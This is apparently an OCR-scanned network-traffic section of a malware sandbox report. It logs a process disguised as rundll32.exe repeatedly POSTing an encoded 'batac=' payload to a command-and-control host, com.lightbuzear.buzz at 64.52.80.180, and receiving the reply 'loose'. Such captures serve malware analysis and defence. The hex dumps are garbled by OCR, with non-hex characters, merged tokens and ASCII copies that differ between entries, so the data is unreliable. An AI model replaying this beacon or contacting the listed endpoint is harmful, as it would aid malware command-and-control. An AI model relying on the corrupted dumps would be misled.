64 63 41 74 50 61 49 79 33 33 4b 70 4d 6d 56 6f 7a 32 35 64 65 76 70 73 67 32 6¢ 44 50 68 4a 46 6b 53 39 54 44 58 74
743276 74 69 34 42 45 57 67 6a 2b 58 71 73 61 57 7a 4d 68 43 31 59
Data Ascii: batac=0L+XEVQMdNEOmMdmOK4ptkgRxrWHI3PKwig9w4587/hMI/QbE7urWTjNRDNgEYIKrg3y1lYX4F
/ZN6DYwSn/6HtUXJIGg52WF//6mnyJVmx2Dil5x2tG4ADgpSIVHFAY0BOmbaa56+RpYTTItZKOKXOeG50nEihQ4v4SW
j6aanNkEaHTwviUvcalL5NbjwedcAtPaly33KpMmVoz25devpsg2|DPhJFkS9TDX{t2vti4 BEWgj+XgsaWzMhC1Y
2022-08-14 06:40:54 UTC 136 IN HTTP/1.1 200 OK
Date: Sun, 14 Aug 2022 06:40:54 GMT
Server: Apache/2.4.41 (Ubuntu)
Access-Control-Allow-Origin: *
Content-Length: 5
Connection: close
Content-Type: text/html; charset=UTF-8
2022-08-14 06:40:54 UTC 136 IN Data Raw: 6¢ 6f 6f 73 65
Data Ascii: loose
. L. Destination
Session ID Source IP Source Port Destination IP Port Process
82 192.168.2.22 49254 64.52.80.180 443 C:\Windows\System32\rundlI32.exe
Timestamp Ly Direction Data
transferred
2022-08-14 06:40:55 UTC 136 ouT POST /Kolpt523ytcserstrew/torel HTTP/1.1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2;
.NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)
Host: com.lightbuzear.buzz
Content-Length: 1118
Cache-Control: no-cache
2022-08-14 06:40:55 UTC 137 ouT Data Raw: 62 61 74 61 63 3d 30 4c 2b 58 45 56 51 4d 64 4e 45 30 6d 64 6d 4f 4b 34 70 74 6b 67 52 78 72 57 48 6¢ 33 50
4b 77 69 67 39 77 34 35 38 37 2f 68 4d 6¢ 2f 51 62 45 37 75 72 57 54 6a 4e 52 44 4e 67 45 79 6¢ 4b 72 67 33 79 31 59
58 34 46 2f 5a 4e 36 44 59 77 53 6e 2f 36 48 74 55 58 4a 47 67 35 32 57 46 2f 2f 36 6d 6e 79 4a 56 6d 78 32 44 69 49 35
783274 47 34 41 44 67 70 53 6¢ 56 48 46 41 59 30 42 4f 6d 62 61 61 35 36 2b 52 70 59 54 54 39 74 5a 4b 4f 4b 58 4f
65 47 35 4f 6e 45 69 68 51 34 76 34 53 57 6a 36 61 61 6e 4e 6b 45 61 48 54 76 76 69 55 76 63 61 4c 35 4e 62 6a 77 65
64 63 41 74 50 61 49 79 33 33 4b 70 4d 6d 56 6f 7a 32 35 64 65 76 70 73 67 32 6¢ 44 50 68 4a 46 6b 53 39 54 44 58 74
743276 74 69 34 42 45 57 67 6a 2b 58 71 73 61 57 7a 4d 68 43 31 59
Data Ascii: batac=0L+XEVQMdNEOmMdmOK4ptkgRxrWHI3PKwig9w4587/hMI/QbE7urWTjNRDNgEYIKrg3y1YX4F
/ZN6DYWSn/6HtUXJIGg52WF//6mnyJVmx2Dil5x2tG4ADgpSIVHFAY0BOmMbaa56+RpYTTItZKOKXOeG50nEihQ4v4SW
j6aanNkEaHTwviUvcal 5NbjwedcAtPaly33KpMmVoz25devpsg2IDPhJFKS9TDXtt2vti4ABEWgj+XgsaWzMhC1Y
2022-08-14 06:40:56 UTC 138 IN HTTP/1.1 200 OK
Date: Sun, 14 Aug 2022 06:40:55 GMT
Server: Apache/2.4.41 (Ubuntu)
Access-Control-Allow-Origin: *
Content-Length: 5
Connection: close
Content-Type: text/html; charset=UTF-8
2022-08-14 06:40:56 UTC 138 IN Data Raw: 6¢ 6f 6f 73 65
Data Ascii: loose
i I Destination
Session ID Source IP Source Port Destination IP Port Process
83 192.168.2.22 49255 64.52.80.180 443 C:\Windows\System32\rundll32.exe
Timestamp Lo Direction Data
transferred
2022-08-14 06:40:56 UTC 138 ouT POST /Kolpt523ytcserstrew/torel HTTP/1.1

Content-Type: application/x-www-form-urlencoded

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2;
.NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)

Host: com.lightbuzear.buzz

Content-Length: 1118

Cache-Control: no-cache
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kBytes

Timestamp Direction Data
transferred
2022-08-14 06:40:56 UTC 138 ouT Data Raw: 62 61 74 61 63 3d 30 4c 2b 58 45 56 51 4d 64 4e 45 30 6d 64 6d 4f 4b 34 70 74 6b 67 52 78 72 57 48 6¢ 33 50
4b 77 69 67 39 77 34 35 38 37 2f 68 4d 6¢ 2f 51 62 45 37 75 72 57 54 6a 4e 52 44 4e 67 45 79 6¢ 4b 72 67 33 79 31 59
58 34 46 2f 5a 4e 36 44 59 77 53 6e 2f 36 48 74 55 58 4a 47 67 35 32 57 46 2f 2f 36 6d 6e 79 4a 56 6d 78 32 44 69 49 35
783274 47 34 41 44 67 70 53 6¢ 56 48 46 41 59 30 42 4f 6d 62 61 61 35 36 2b 52 70 59 54 54 39 74 5a 4b 4f 4b 58 4f
65 47 35 4f 6e 45 69 68 51 34 76 34 53 57 6a 36 61 61 6e 4e 6b 45 61 48 54 76 76 69 55 76 63 61 4c 35 4e 62 6a 77 65
64 63 41 74 50 61 49 79 33 33 4b 70 4d 6d 56 6f 7a 32 35 64 65 76 70 73 67 32 6¢ 44 50 68 4a 46 6b 53 39 54 44 58 74
743276 74 69 34 42 45 57 67 6a 2b 58 71 73 61 57 7a 4d 68 43 31 59
Data Ascii: batac=0L+XEVQMdNEOmMdmOK4ptkgRxrWHI3PKwig9w4587/hMI/QbE7urWTjNRDNgEYIKrg3ylYX4F
/ZN6DYwSn/6HtUXJIGg52WF//6mnyJVmx2Dil5x2tG4ADgpSIVHFAY0BOmbaa56+RpYTTItZKOKXOeG50nEihQ4v4SW
j6aanNkEaHTwviUvcalL5NbjwedcAtPaly33KpMmVoz25devpsg2IDPhJFkS9TDX{t2vti4 BEWgj+XgsaWzMhC1Y
2022-08-14 06:40:57 UTC 139 IN HTTP/1.1 200 OK
Date: Sun, 14 Aug 2022 06:40:56 GMT
Server: Apache/2.4.41 (Ubuntu)
Access-Control-Allow-Origin: *
Content-Length: 5
Connection: close
Content-Type: text/html; charset=UTF-8
2022-08-14 06:40:57 UTC 140 IN Data Raw: 6¢ 6f 6f 73 65
Data Ascii: loose
. L. Destination
Session ID Source IP Source Port Destination IP Port Process
84 192.168.2.22 49256 64.52.80.180 443 C:\Windows\System32\rundlI32.exe
Timestamp Ly Direction Data
transferred
2022-08-14 06:40:57 UTC 140 ouT POST /Kolpt523ytcserstrew/torel HTTP/1.1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2;
.NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)
Host: com.lightbuzear.buzz
Content-Length: 1118
Cache-Control: no-cache
2022-08-14 06:40:57 UTC 140 ouT Data Raw: 62 61 74 61 63 3d 30 4c 2b 58 45 56 51 4d 64 4e 45 30 6d 64 6d 4f 4b 34 70 74 6b 67 52 78 72 57 48 6¢ 33 50
4b 77 69 67 39 77 34 35 38 37 2f 68 4d 6¢ 2f 51 62 45 37 75 72 57 54 6a 4e 52 44 4e 67 45 79 6¢ 4b 72 67 33 79 31 59
58 34 46 2f 5a 4e 36 44 59 77 53 6e 2f 36 48 74 55 58 4a 47 67 35 32 57 46 2f 2f 36 6d 6e 79 4a 56 6d 78 32 44 69 49 35
783274 47 34 41 44 67 70 53 6¢ 56 48 46 41 59 30 42 4f 6d 62 61 61 35 36 2b 52 70 59 54 54 39 74 5a 4b 4f 4b 58 4f
65 47 35 4f 6e 45 69 68 51 34 76 34 53 57 6a 36 61 61 6e 4e 6b 45 61 48 54 76 76 69 55 76 63 61 4c 35 4e 62 6a 77 65
64 63 41 74 50 61 49 79 33 33 4b 70 4d 6d 56 6f 7a 32 35 64 65 76 70 73 67 32 6¢ 44 50 68 4a 46 6b 53 39 54 44 58 74
743276 74 69 34 42 45 57 67 6a 2b 58 71 73 61 57 7a 4d 68 43 31 59
Data Ascii: batac=0L+XEVQMdNEOmMdmOK4ptkgRxrWHI3PKwig9w4587/hMI/QbE7urWTjNRDNgEYIKrg3y1YX4F
/ZN6DYWwWSn/6HtUXJIGg52WF//6mnyJVmx2Dil5x2tG4ADgpSIVHFAY0BOmMbaa56+RpYTTItZKOKXOeG50nEihQ4v4SW
j6aanNkEaHTwviUvcal 5NbjwedcAtPaly33KpMmVoz25devpsg2IDPhJFKS9TDXtt2vti4ABEWgj+XgsaWzMhC1Y
2022-08-14 06:40:58 UTC 141 IN HTTP/1.1 200 OK
Date: Sun, 14 Aug 2022 06:40:57 GMT
Server: Apache/2.4.41 (Ubuntu)
Access-Control-Allow-Origin: *
Content-Length: 5
Connection: close
Content-Type: text/html; charset=UTF-8
2022-08-14 06:40:58 UTC 141 IN Data Raw: 6¢ 6f 6f 73 65
Data Ascii: loose
: I Destination
Session ID Source IP Source Port Destination IP Port Process
85 192.168.2.22 49257 64.52.80.180 443 C:\Windows\System32\rundll32.exe
Timestamp L Direction Data
transferred
2022-08-14 06:40:58 UTC 141 ouT POST /Kolpt523ytcserstrew/torel HTTP/1.1

Content-Type: application/x-www-form-urlencoded

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2;
.NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)

Host: com.lightbuzear.buzz

Content-Length: 1118

Cache-Control: no-cache
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kBytes

Timestamp Direction Data
transferred
2022-08-14 06:40:58 UTC 142 ouT Data Raw: 62 61 74 61 63 3d 30 4c 2b 58 45 56 51 4d 64 4e 45 30 6d 64 6d 4f 4b 34 70 74 6b 67 52 78 72 57 48 6¢ 33 50
4b 77 69 67 39 77 34 35 38 37 2f 68 4d 6¢ 2f 51 62 45 37 75 72 57 54 6a 4e 52 44 4e 67 45 79 6¢ 4b 72 67 33 79 31 59
58 34 46 2f 5a 4e 36 44 59 77 53 6e 2f 36 48 74 55 58 4a 47 67 35 32 57 46 2f 2f 36 6d 6e 79 4a 56 6d 78 32 44 69 49 35
783274 47 34 41 44 67 70 53 6¢ 56 48 46 41 59 30 42 4f 6d 62 61 61 35 36 2b 52 70 59 54 54 39 74 5a 4b 4f 4b 58 4f
65 47 35 4f 6e 45 69 68 51 34 76 34 53 57 6a 36 61 61 6e 4e 6b 45 61 48 54 76 76 69 55 76 63 61 4c 35 4e 62 6a 77 65
64 63 41 74 50 61 49 79 33 33 4b 70 4d 6d 56 6f 7a 32 35 64 65 76 70 73 67 32 6¢ 44 50 68 4a 46 6b 53 39 54 44 58 74
743276 74 69 34 42 45 57 67 6a 2b 58 71 73 61 57 7a 4d 68 43 31 59
Data Ascii: batac=0L+XEVQMdNEOmMdmOK4ptkgRxrWHI3PKwig9w4587/hMI/QbE7urWTjNRDNgEYIKrg3y1lYX4F
/ZN6DYwSn/6HtUXJIGg52WF//6mnyJVmx2Dil5x2tG4ADgpSIVHFAY0BOmbaa56+RpYTTItZKOKXOeG50nEihQ4v4SW
j6aanNkEaHTwviUvcalL5NbjwedcAtPaly33KpMmVoz25devpsg2|DPhJFkS9TDX{t2vti4 BEWgj+XgsaWzMhC1Y
2022-08-14 06:40:59 UTC 143 IN HTTP/1.1 200 OK
Date: Sun, 14 Aug 2022 06:40:59 GMT
Server: Apache/2.4.41 (Ubuntu)
Access-Control-Allow-Origin: *
Content-Length: 5
Connection: close
Content-Type: text/html; charset=UTF-8
2022-08-14 06:40:59 UTC 143 IN Data Raw: 6¢ 6f 6f 73 65
Data Ascii: loose
. L Destination
Session ID Source IP Source Port Destination IP Port Process
86 192.168.2.22 49258 64.52.80.180 443 C:\Windows\System32\rundlI32.exe
Timestamp Ly Direction Data
transferred
2022-08-14 06:40:59 UTC 143 ouT POST /Kolpt523ytcserstrew/torel HTTP/1.1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2;
.NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)
Host: com.lightbuzear.buzz
Content-Length: 1118
Cache-Control: no-cache
2022-08-14 06:40:59 UTC 143 ouT Data Raw: 62 61 74 61 63 3d 30 4c 2b 58 45 56 51 4d 64 4e 45 30 6d 64 6d 4f 4b 34 70 74 6b 67 52 78 72 57 48 6¢ 33 50
4b 77 69 67 39 77 34 35 38 37 2f 68 4d 6¢ 2f 51 62 45 37 75 72 57 54 6a 4e 52 44 4e 67 45 79 6¢ 4b 72 67 33 79 31 59
58 34 46 2f 5a 4e 36 44 59 77 53 6e 2f 36 48 74 55 58 4a 47 67 35 32 57 46 2f 2f 36 6d 6e 79 4a 56 6d 78 32 44 69 49 35
783274 47 34 41 44 67 70 53 6¢ 56 48 46 41 59 30 42 4f 6d 62 61 61 35 36 2b 52 70 59 54 54 39 74 5a 4b 4f 4b 58 4f
65 47 35 4f 6e 45 69 68 51 34 76 34 53 57 6a 36 61 61 6e 4e 6b 45 61 48 54 76 76 69 55 76 63 61 4c 35 4e 62 6a 77 65
64 63 41 74 50 61 49 79 33 33 4b 70 4d 6d 56 6f 7a 32 35 64 65 76 70 73 67 32 6¢ 44 50 68 4a 46 6b 53 39 54 44 58 74
743276 74 69 34 42 45 57 67 6a 2b 58 71 73 61 57 7a 4d 68 43 31 59
Data Ascii: batac=0L+XEVQMdNEOmMdmOK4ptkgRxrWHI3PKwig9w4587/hMI/QbE7urWTjNRDNgEYIKrg3y1YX4F
/ZN6DYWwWSn/6HtUXJIGg52WF//6mnyJVmx2Dil5x2tG4ADgpSIVHFAY0BOmMbaa56+RpYTTItZKOKXOeG50nEihQ4v4SW
j6aanNkEaHTwviUvcal 5NbjwedcAtPaly33KpMmVoz25devpsg2IDPhJFKS9TDXtt2vti4ABEWgj+XgsaWzMhC1Y
2022-08-14 06:41:00 UTC 144 IN HTTP/1.1 200 OK
Date: Sun, 14 Aug 2022 06:41:00 GMT
Server: Apache/2.4.41 (Ubuntu)
Access-Control-Allow-Origin: *
Content-Length: 5
Connection: close
Content-Type: text/html; charset=UTF-8
2022-08-14 06:41:00 UTC 144 IN Data Raw: 6¢ 6f 6f 73 65
Data Ascii: loose
i I Destination
Session ID Source IP Source Port Destination IP Port Process
87 192.168.2.22 49259 64.52.80.180 443 C:\Windows\System32\rundll32.exe
Timestamp Lo Direction Data
transferred
2022-08-14 06:41:00 UTC 144 ouT POST /Kolpt523ytcserstrew/torel HTTP/1.1

Content-Type: application/x-www-form-urlencoded

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2;
.NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)

Host: com.lightbuzear.buzz

Content-Length: 1118

Cache-Control: no-cache
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kBytes

Timestamp Direction Data
transferred
2022-08-14 06:41:00 UTC 145 ouT Data Raw: 62 61 74 61 63 3d 30 4c 2b 58 45 56 51 4d 64 4e 45 30 6d 64 6d 4f 4b 34 70 74 6b 67 52 78 72 57 48 6¢ 33 50
4b 77 69 67 39 77 34 35 38 37 2f 68 4d 6¢ 2f 51 62 45 37 75 72 57 54 6a 4e 52 44 4e 67 45 79 6¢ 4b 72 67 33 79 31 59
58 34 46 2f 5a 4e 36 44 59 77 53 6e 2f 36 48 74 55 58 4a 47 67 35 32 57 46 2f 2f 36 6d 6e 79 4a 56 6d 78 32 44 69 49 35
783274 47 34 41 44 67 70 53 6¢ 56 48 46 41 59 30 42 4f 6d 62 61 61 35 36 2b 52 70 59 54 54 39 74 5a 4b 4f 4b 58 4f
65 47 35 4f 6e 45 69 68 51 34 76 34 53 57 6a 36 61 61 6e 4e 6b 45 61 48 54 76 76 69 55 76 63 61 4c 35 4e 62 6a 77 65
64 63 41 74 50 61 49 79 33 33 4b 70 4d 6d 56 6f 7a 32 35 64 65 76 70 73 67 32 6¢ 44 50 68 4a 46 6b 53 39 54 44 58 74
743276 74 69 34 42 45 57 67 6a 2b 58 71 73 61 57 7a 4d 68 43 31 59
Data Ascii: batac=0L+XEVQMdNEOmMdmOK4ptkgRxrWHI3PKwig9w4587/hMI/QbE7urWTjNRDNgEYIKrg3ylYX4F
/ZN6DYwSn/6HtUXJIGg52WF//6mnyJVmx2Dil5x2tG4ADgpSIVHFAY0BOmbaa56+RpYTTItZKOKXOeG50nEihQ4v4SW
j6aanNkEaHTwviUvcalL5NbjwedcAtPaly33KpMmVoz25devpsg2IDPhJFkS9TDX{t2vti4 BEWgj+XgsaWzMhC1Y
2022-08-14 06:41:01 UTC 146 IN HTTP/1.1 200 OK
Date: Sun, 14 Aug 2022 06:41:01 GMT
Server: Apache/2.4.41 (Ubuntu)
Access-Control-Allow-Origin: *
Content-Length: 5
Connection: close
Content-Type: text/html; charset=UTF-8
2022-08-14 06:41:01 UTC 146 IN Data Raw: 6¢ 6f 6f 73 65
Data Ascii: loose
. L. Destination
Session ID Source IP Source Port Destination IP Port Process
88 192.168.2.22 49260 64.52.80.180 443 C:\Windows\System32\rundlI32.exe
Timestamp Ly Direction Data
transferred
2022-08-14 06:41:01 UTC 146 ouT POST /Kolpt523ytcserstrew/torel HTTP/1.1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2;
.NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)
Host: com.lightbuzear.buzz
Content-Length: 1118
Cache-Control: no-cache
2022-08-14 06:41:01 UTC 146 ouT Data Raw: 62 61 74 61 63 3d 30 4c 2b 58 45 56 51 4d 64 4e 45 30 6d 64 6d 4f 4b 34 70 74 6b 67 52 78 72 57 48 6¢ 33 50
4b 77 69 67 39 77 34 35 38 37 2f 68 4d 6¢ 2f 51 62 45 37 75 72 57 54 6a 4e 52 44 4e 67 45 79 6¢ 4b 72 67 33 79 31 59
58 34 46 2f 5a 4e 36 44 59 77 53 6e 2f 36 48 74 55 58 4a 47 67 35 32 57 46 2f 2f 36 6d 6e 79 4a 56 6d 78 32 44 69 49 35
783274 47 34 41 44 67 70 53 6¢ 56 48 46 41 59 30 42 4f 6d 62 61 61 35 36 2b 52 70 59 54 54 39 74 5a 4b 4f 4b 58 4f
65 47 35 4f 6e 45 69 68 51 34 76 34 53 57 6a 36 61 61 6e 4e 6b 45 61 48 54 76 76 69 55 76 63 61 4c 35 4e 62 6a 77 65
64 63 41 74 50 61 49 79 33 33 4b 70 4d 6d 56 6f 7a 32 35 64 65 76 70 73 67 32 6¢ 44 50 68 4a 46 6b 53 39 54 44 58 74
743276 74 69 34 42 45 57 67 6a 2b 58 71 73 61 57 7a 4d 68 43 31 59
Data Ascii: batac=0L+XEVQMdNEOmMdmOK4ptkgRxrWHI3PKwig9w4587/hMI/QbE7urWTjNRDNgEYIKrg3y1YX4F
/ZN6DYWwSn/6HtUXJIGg52WF//6mnyJVmx2Dil5x2tG4ADgpSIVHFAY0BOmMbaa56+RpYTTItZKOKXOeG50nEihQ4v4SW
j6aanNkEaHTwviUvcal 5NbjwedcAtPaly33KpMmVoz25devpsg2IDPhJFKS9TDXtt2vti4ABEWgj+XgsaWzMhC1Y
2022-08-14 06:41:03 UTC 148 IN HTTP/1.1 200 OK
Date: Sun, 14 Aug 2022 06:41:03 GMT
Server: Apache/2.4.41 (Ubuntu)
Access-Control-Allow-Origin: *
Content-Length: 5
Connection: close
Content-Type: text/html; charset=UTF-8
2022-08-14 06:41:03 UTC 148 IN Data Raw: 6¢ 6f 6f 73 65
Data Ascii: loose
: I Destination
Session ID Source IP Source Port Destination IP Port Process
89 192.168.2.22 49261 64.52.80.180 443 C:\Windows\System32\rundll32.exe
Timestamp L Direction Data
transferred
2022-08-14 06:41:03 UTC 148 ouT POST /Kolpt523ytcserstrew/torel HTTP/1.1

Content-Type: application/x-www-form-urlencoded

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2;
.NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)

Host: com.lightbuzear.buzz

Content-Length: 1118

Cache-Control: no-cache
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kBytes

Timestamp Direction Data
transferred
2022-08-14 06:41:03 UTC 148 ouT Data Raw: 62 61 74 61 63 3d 30 4c 2b 58 45 56 51 4d 64 4e 45 30 6d 64 6d 4f 4b 34 70 74 6b 67 52 78 72 57 48 6¢ 33 50
4b 77 69 67 39 77 34 35 38 37 2f 68 4d 6¢ 2f 51 62 45 37 75 72 57 54 6a 4e 52 44 4e 67 45 79 6¢ 4b 72 67 33 79 31 59
58 34 46 2f 5a 4e 36 44 59 77 53 6e 2f 36 48 74 55 58 4a 47 67 35 32 57 46 2f 2f 36 6d 6e 79 4a 56 6d 78 32 44 69 49 35
783274 47 34 41 44 67 70 53 6¢ 56 48 46 41 59 30 42 4f 6d 62 61 61 35 36 2b 52 70 59 54 54 39 74 5a 4b 4f 4b 58 4f
65 47 35 4f 6e 45 69 68 51 34 76 34 53 57 6a 36 61 61 6e 4e 6b 45 61 48 54 76 76 69 55 76 63 61 4c 35 4e 62 6a 77 65
64 63 41 74 50 61 49 79 33 33 4b 70 4d 6d 56 6f 7a 32 35 64 65 76 70 73 67 32 6¢ 44 50 68 4a 46 6b 53 39 54 44 58 74
743276 74 69 34 42 45 57 67 6a 2b 58 71 73 61 57 7a 4d 68 43 31 59
Data Ascii: batac=0L+XEVQMdNEOmMdmOK4ptkgRxrWHI3PKwig9w4587/hMI/QbE7urWTjNRDNgEYIKrg3ylYX4F
/ZN6DYwSn/6HtUXJIGg52WF//6mnyJVmx2Dil5x2tG4ADgpSIVHFAY0BOmbaa56+RpYTTItZKOKXOeG50nEihQ4v4SW
j6aanNkEaHTwviUvcalL5NbjwedcAtPaly33KpMmVoz25devpsg2IDPhJFkS9TDX{t2vti4 BEWgj+XgsaWzMhC1Y
2022-08-14 06:41:04 UTC 149 IN HTTP/1.1 200 OK
Date: Sun, 14 Aug 2022 06:41:04 GMT
Server: Apache/2.4.41 (Ubuntu)
Access-Control-Allow-Origin: *
Content-Length: 5
Connection: close
Content-Type: text/html; charset=UTF-8
2022-08-14 06:41:04 UTC 149 IN Data Raw: 6¢ 6f 6f 73 65
Data Ascii: loose
. L. Destination
Session ID Source IP Source Port Destination IP Port Process
9 192.168.2.22 49181 64.52.80.180 443 C:\Windows\System32\rundlI32.exe
Timestamp Ly Direction Data
transferred
2022-08-14 06:39:35 UTC 16 ouT POST /Kolpt523ytcserstrew/torel HTTP/1.1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2;
.NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)
Host: com.lightbuzear.buzz
Content-Length: 1118
Cache-Control: no-cache
2022-08-14 06:39:35 UTC 16 ouT Data Raw: 62 61 74 61 63 3d 30 4c 2b 58 45 56 51 4d 64 4e 45 30 6d 64 6d 4f 4b 34 70 74 6b 67 52 78 72 57 48 6¢ 33 50
4b 77 69 67 39 77 34 35 38 37 2f 68 4d 6¢ 2f 51 62 45 37 75 72 57 54 6a 4e 52 44 4e 67 45 79 6¢ 4b 72 67 33 79 31 59
58 34 46 2f 5a 4e 36 44 59 77 53 6e 2f 36 48 74 55 58 4a 47 67 35 32 57 46 2f 2f 36 6d 6e 79 4a 56 6d 78 32 44 69 49 35
783274 47 34 41 44 67 70 53 6¢ 56 48 46 41 59 30 42 4f 6d 62 61 61 35 36 2b 52 70 59 54 54 39 74 5a 4b 4f 4b 58 4f
65 47 35 4f 6e 45 69 68 51 34 76 34 53 57 6a 36 61 61 6e 4e 6b 45 61 48 54 76 76 69 55 76 63 61 4c 35 4e 62 6a 77 65
64 63 41 74 50 61 49 79 33 33 4b 70 4d 6d 56 6f 7a 32 35 64 65 76 70 73 67 32 6¢ 44 50 68 4a 46 6b 53 39 54 44 58 74
743276 74 69 34 42 45 57 67 6a 2b 58 71 73 61 57 7a 4d 68 43 31 59
Data Ascii: batac=0L+XEVQMdNEOmMdmOK4ptkgRxrWHI3PKwig9w4587/hMI/QbE7urWTjNRDNgEYIKrg3y1YX4F
/ZN6DYWwSn/6HtUXJIGg52WF//6mnyJVmx2Dil5x2tG4ADgpSIVHFAY0BOmMbaa56+RpYTTItZKOKXOeG50nEihQ4v4SW
j6aanNkEaHTwviUvcal 5NbjwedcAtPaly33KpMmVoz25devpsg2IDPhJFKS9TDXtt2vti4ABEWgj+XgsaWzMhC1Y
2022-08-14 06:39:35 UTC 18 IN HTTP/1.1 200 OK
Date: Sun, 14 Aug 2022 06:39:35 GMT
Server: Apache/2.4.41 (Ubuntu)
Access-Control-Allow-Origin: *
Content-Length: 5
Connection: close
Content-Type: text/html; charset=UTF-8
2022-08-14 06:39:35 UTC 18 IN Data Raw: 6¢ 6f 6f 73 65
Data Ascii: loose
: I Destination
Session ID Source IP Source Port Destination IP Port Process
90 192.168.2.22 49262 64.52.80.180 443 C:\Windows\System32\rundll32.exe
Timestamp L Direction Data
transferred
2022-08-14 06:41:05 UTC 149 ouT POST /Kolpt523ytcserstrew/torel HTTP/1.1

Content-Type: application/x-www-form-urlencoded

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2;
.NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)

Host: com.lightbuzear.buzz

Content-Length: 1118

Cache-Control: no-cache
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kBytes

Timestamp Direction Data
transferred
2022-08-14 06:41:05 UTC 150 ouT Data Raw: 62 61 74 61 63 3d 30 4c 2b 58 45 56 51 4d 64 4e 45 30 6d 64 6d 4f 4b 34 70 74 6b 67 52 78 72 57 48 6¢ 33 50
4b 77 69 67 39 77 34 35 38 37 2f 68 4d 6¢ 2f 51 62 45 37 75 72 57 54 6a 4e 52 44 4e 67 45 79 6¢ 4b 72 67 33 79 31 59
58 34 46 2f 5a 4e 36 44 59 77 53 6e 2f 36 48 74 55 58 4a 47 67 35 32 57 46 2f 2f 36 6d 6e 79 4a 56 6d 78 32 44 69 49 35
783274 47 34 41 44 67 70 53 6¢ 56 48 46 41 59 30 42 4f 6d 62 61 61 35 36 2b 52 70 59 54 54 39 74 5a 4b 4f 4b 58 4f
65 47 35 4f 6e 45 69 68 51 34 76 34 53 57 6a 36 61 61 6e 4e 6b 45 61 48 54 76 76 69 55 76 63 61 4c 35 4e 62 6a 77 65
64 63 41 74 50 61 49 79 33 33 4b 70 4d 6d 56 6f 7a 32 35 64 65 76 70 73 67 32 6¢ 44 50 68 4a 46 6b 53 39 54 44 58 74
743276 74 69 34 42 45 57 67 6a 2b 58 71 73 61 57 7a 4d 68 43 31 59
Data Ascii: batac=0L+XEVQMdNEOmMdmOK4ptkgRxrWHI3PKwig9w4587/hMI/QbE7urWTjNRDNgEYIKrg3y1lYX4F
/ZN6DYwSn/6HtUXJIGg52WF//6mnyJVmx2Dil5x2tG4ADgpSIVHFAY0BOmbaa56+RpYTTItZKOKXOeG50nEihQ4v4SW
j6aanNkEaHTwviUvcalL5NbjwedcAtPaly33KpMmVoz25devpsg2IDPhJFkS9TDX{t2vti4 BEWgj+XgsaWzMhC1Y
2022-08-14 06:41:05 UTC 151 IN HTTP/1.1 200 OK
Date: Sun, 14 Aug 2022 06:41:05 GMT
Server: Apache/2.4.41 (Ubuntu)
Access-Control-Allow-Origin: *
Content-Length: 5
Connection: close
Content-Type: text/html; charset=UTF-8
2022-08-14 06:41:05 UTC 151 IN Data Raw: 6¢ 6f 6f 73 65
Data Ascii: loose
. L Destination
Session ID Source IP Source Port Destination IP Port Process
91 192.168.2.22 49263 64.52.80.180 443 C:\Windows\System32\rundlI32.exe
Timestamp Ly Direction Data
transferred
2022-08-14 06:41:06 UTC 151 ouT POST /Kolpt523ytcserstrew/torel HTTP/1.1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2;
.NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)
Host: com.lightbuzear.buzz
Content-Length: 1118
Cache-Control: no-cache
2022-08-14 06:41:06 UTC 151 ouT Data Raw: 62 61 74 61 63 3d 30 4c 2b 58 45 56 51 4d 64 4e 45 30 6d 64 6d 4f 4b 34 70 74 6b 67 52 78 72 57 48 6¢ 33 50
4b 77 69 67 39 77 34 35 38 37 2f 68 4d 6¢ 2f 51 62 45 37 75 72 57 54 6a 4e 52 44 4e 67 45 79 6¢ 4b 72 67 33 79 31 59
